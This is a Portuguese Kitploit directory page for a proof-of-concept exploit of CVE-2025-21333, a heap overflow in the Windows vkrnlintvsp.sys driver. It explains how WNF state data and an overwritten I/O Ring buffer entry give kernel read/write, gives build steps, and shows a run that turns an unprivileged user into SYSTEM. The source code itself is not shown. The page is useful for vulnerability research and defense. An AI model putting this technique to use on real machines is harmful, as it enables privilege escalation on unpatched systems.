Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-21333-POC — Exploit POC para o estouro de buffer baseado em heap CVE-2025-21333. Ele utiliza dados de estado WNF e o anel de E/S IOP_MC_BUFFER_ENTRY. | Kitploit
Ferramentas/GitHubGitHub/mrale98/cve-2025-21333-poc
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoPós-ExploraçãoExploração de Binários
GitHubmrale98/cve-2025-21333-poc

CVE-2025-21333-POC

Exploit POC para o estouro de buffer baseado em heap CVE-2025-21333. Ele utiliza dados de estado WNF e o anel de E/S IOP_MC_BUFFER_ENTRY.

Ver Repositório
232364há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-21333-POC

Prova de Conceito que explora CVE-2025-21333 no vkrnlintvsp.sys (não tão confiável, veja a seção Requisitos e Limitações). Na seção Referências estão localizados recursos muito úteis para quem quiser brincar com o exploit.

Uma análise detalhada da vulnerabilidade e do exploit está disponível aqui.

A vulnerabilidade foi detectada como sendo explorada ativamente por agentes de ameaças.

Testado no Windows 11 23h2. Pode funcionar também no Windows 11 24h2, mas não testei.

Abaixo o hash do ntoskrnl.exe e vkrnlintvsp.sys que foram usados para testar o POC.

root@kitploit:~
PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77       C:\Windows\System32\drivers\v...

PS C:\Windows\System32\drivers>
root@kitploit:~
PS C:\Windows\System32> Get-FileHash ntoskrnl.exe

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473       C:\Windows\System32\ntoskrnl.exe

PS C:\Windows\System32>

Sobrescrevendo entrada do buffer I/O Ring para obter leitura/escrita arbitrária

Não utiliza NtQuerySystemInformation para vazar endereços do kernel nem PreviousMode para obter leitura/escrita arbitrária.

Em vez disso, aloca no Pool Paginado um array de ponteiros para _IOP_MC_BUFFER_ENTRY e sobrescreve o primeiro ponteiro com um IOP_MC_BUFFER_ENTRY* malicioso localizado no espaço do usuário. Usando BuildIoRingWriteFile()/BuildIoRingReadFile() é possível obter leitura/escrita arbitrária no kernel.

O array de ponteiros para _IOP_MC_BUFFER_ENTRY é um objeto com PoolTag IrRB.

A técnica difere ligeiramente da documentada por Yarden Shafir aqui. Em vez de assumir o controle de todo o array apontado por _IORING_OBJECT.RegBuffers, a técnica assume o controle apenas de uma entrada no array apontado por _IORING_OBJECT.RegBuffers.

Como o tamanho do array de ponteiros é controlável pelo usuário, isso significa que pode ser usado para obter leitura/escrita arbitrária confiável no ring0 a partir de heap-overflows e UAFs para múltiplos buckets LFH.

Não sei se alguém já compartilhou esta técnica para explorar overflows ou UAFs no pool paginado.

Estas capturas de tela foram tiradas após executar o poc. O overflow estava no bucket para tamanho de objeto 0x50. Observe que foi possível alocar um array RegBuffers nesse bucket e o primeiro ponteiro aponta para memória do espaço do usuário.

image

Observe que a entrada maliciosa define o Address para um objeto de processo. Address corresponde ao endereço arbitrário do qual podemos querer ler/escrever (isso já está bem descrito no artigo de Yarden Shafir).

image

Requisitos e Limitações

É necessário ativar o recurso de sandbox do Windows para que as syscalls vulneráveis sejam tratadas pelo driver vulnerável.

image

Consegui obter um overflow de 0xfff0 bytes. Não consegui tornar o comprimento do overflow totalmente controlável. Você pode ver uma falha se o overflow for maior que o subsegmento (pode acontecer com frequência). Talvez pulverizando mais objetos seja possível minimizar esse comportamento.

O poc libera 2 dados de estado WNF para realocar nessas posições um regBuffer (um array de ponteiros para _IOP_MC_BUFFER_ENTRY associado a um IORING_OBJECT) e um PipeAttribute. Às vezes, entre a liberação e o realocamento, pode acontecer que outro objeto seja alocado nessa posição por outro driver. Seria possível usar outros objetos de dados de estado WNF corrompidos em um loop while para realizar múltiplas tentativas de realocação e aumentar a possibilidade de ter o layout desejado.

O código do poc é bastante bagunçado.

Após obter system, é melhor sair do shell do sistema digitando exit no console caso contrário a máquina irá travar.

Compilar e Executar

Compile a versão Release x64.

Execute e obtenha um shell de sistema.

root@kitploit:~
PS C:\Users\unpriv> .\CVE-2025-21333-POC.exe
Preparing...
[*] fNtCreateCrossVmEvent = 00007FFD6BC31690
[*] fNtQueryInformationProcess = 00007FFD6BC304E0
[!] WindowsSandboxClient.exe process not found
[*] spawning windows sandbox
[*] CreateProcessA returned successfully
[*] NtQueryInformationProcess returned successfully
[*] peb_addr = 0000000100335000
[*] ReadProcessMemory returned successfully
[*] ProcessParameters = 00000147B06A6430
[*] ReadProcessMemory returned successfully
[*] CommandLine = 00000147B06A6ADA
[*] CommandLine_size = 3f0
[*] commandline = C:\Windows\system32\WindowsSandboxClient.exe <ContainerId>19a1ef14-ee35-47d8-8bdb-cf4c86272272</ContainerId><AccountUser>WDAGUtilityAccount</AccountUser><AccountPassword>66387310-a27d-4a59-a688-3ab018388c9e</AccountPassword><AudioInputEnabled>true</AudioInputEnabled><ClipboardRedirectionEnabled>true</ClipboardRedirectionEnabled><RebootSupported>true</RebootSupported><SmartCardRedirectionEnabled>false</SmartCardRedirectionEnabled><FullScreenMode>false</FullScreenMode><TargetDisplay>0</TargetDisplay>
[*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
[*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
Created GUID
extracted guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


Triggering vuln creating crossvmevent...
max corrupted WNF
state: a18d294541c64e6d val: 0  dataSize: 10040
calling NtqueryWnfStateData on max_corrupted with max_corrupted->state a18d2945a18d2945 and datasize10040
buffer content
[+] found WNF to be freed and replaced with RegBuffers
offset 30
[+] found WNF to be freed and replaced with PipeAttribute
offset2 80
updating regBuffersControllerWNF
calling NtUpdateWnfStateData on tokenReaderWNF->state a18d2945a18d2945 and datasize10040
calling NtUpdateWnfStateData returned successfully
[*] retrieving WNF with content 0x4343434343434343
[*] retrieving WNF with content 0x4444444444444444
searching in statenames2
found corrupted WNF: a18d514541c64e6dval: 4343434343434343
found corrupted WNF: a18d614541c64e6dval: 4444444444444444
found1 1 found2 1
found1 1 found2 1
found1 1 found2 1
0x000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000030: 00 00 05 0b 49 72 52 42 64 b9 76 d3 e4 ff d1 c6  ....IrRBd.v.....
0x000040: a0 a1 b1 f1 09 e3 ff ff 00 00 00 00 00 00 00 00  ................
0x000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000080: 00 00 05 03 4e 70 41 74 00 00 00 00 00 00 00 00  ....NpAt........
0x000090: d0 01 2b 47 0a d1 ff ff d0 01 2b 47 0a d1 ff ff  ..+G......+G....
0x0000a0: 38 81 2a 4d 0a d1 ff ff 16 00 00 00 00 00 00 00  8.*M............
0x0000b0: 3a 81 2a 4d 0a d1 ff ff 5a 00 41 41 41 41 41 41  :.*M....Z.AAAAAA
0x0000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0x0000d0: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x0000e0: 00 00 00 00 50 ff 00 00 50 ff 00 00 01 00 00 00  ....P...P.......
0x0000f0: 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000120: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x000130: 00 00 00 00 00 ff 00 00 00 ff 00 00 01 00 00 00  ................
0x000140: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................


[+] regBuffers found and can be overwritten
[+] pipeAttribute found and can be read
[*] original_regBufferEntry: ffffe309f1b1a1a0
[*] pipeAttributeFlink: ffffd10a472b01d0
[+] found target handle
[*] targetHandle: 00000211216BC4D0
[*] ioring index: 425
[*] fileObject: ffffe309f134d7e0
[*] base of npfs.sys: fffff80631660000
[*] base of ntoskrnl.exe: fffff80628c00000
[*] system EPROCESS: ffffe309ea4c2040
[*] system TOKEN: ffffd10a3a246040
[*] curpid: 21c8
Microsoft Windows [Version 10.0.22631.4460]
(c) Microsoft Corporation. All rights reserved.

C:\Users\unpriv>whoami
nt authority\system

C:\Users\unpriv>exit
calling NtUpdateWnfStateData returned successfully
PS C:\Users\unpriv>

Referências

  • https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
  • https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
  • https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/

Agradecimentos

  • @cbayet
  • @paulfariello
  • @alexjplaskett
  • @yarden_shafir
Baixar ferramenta